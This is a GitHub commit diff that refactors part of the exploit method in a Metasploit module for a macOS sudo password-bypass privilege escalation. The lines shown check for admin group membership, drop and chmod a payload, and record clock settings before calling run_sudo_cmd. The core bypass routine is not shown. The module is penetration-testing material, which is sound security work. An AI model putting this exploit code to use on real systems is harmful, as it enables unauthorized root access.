Skip to content

Commit

Permalink
Merge pull request #4 from jvazquez-r7/work_osx
Browse files Browse the repository at this point in the history
Beautify module
  • Loading branch information
jvennix-r7 committed Aug 24, 2013
2 parents 0e11673 + b4ad8c8 commit 546397e
Showing 1 changed file with 21 additions and 33 deletions.
54 changes: 21 additions & 33 deletions modules/exploits/osx/local/sudo_password_bypass.rb
Original file line number Diff line number Diff line change
Expand Up @@ -116,41 +116,29 @@ def check
def exploit
if not user_in_admin_group?
fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.")
else
# "remember" the current system time/date/network/zone
print_good("User is an admin, continuing...")

# drop the payload (unless CMD)
if using_native_target?
cmd_exec("mkdir -p #{File.dirname(drop_path)}")
write_file(drop_path, generate_payload_exe)
register_files_for_cleanup(drop_path)
cmd_exec("chmod +x #{[drop_path].shelljoin}")
print_status("Payload dropped and registered for cleanup")
end

print_status("Saving system clock config...")
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
@network_server = if @networked
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
end

print_warning("Cleanup to be done in case something goes really bad")
print_warning("Execute: #{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}")
print_warning("Execute: #{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}")
print_warning("Execute: #{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}")
if @networked
print_warning("Execute: #{SYSTEMSETUP_PATH} -setusingnetworktime On")
if @network_server
print_warning("Execute: #{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
end
end
end
# "remember" the current system time/date/network/zone
print_good("User is an admin, continuing...")

# drop the payload (unless CMD)
if using_native_target?
cmd_exec("mkdir -p #{File.dirname(drop_path)}")
write_file(drop_path, generate_payload_exe)
register_files_for_cleanup(drop_path)
cmd_exec("chmod +x #{[drop_path].shelljoin}")
print_status("Payload dropped and registered for cleanup")
end

run_sudo_cmd
print_status("Saving system clock config...")
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
@network_server = if @networked
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
end

run_sudo_cmd
end

def cleanup
Expand Down

0 comments on commit 546397e

Please sign in to comment.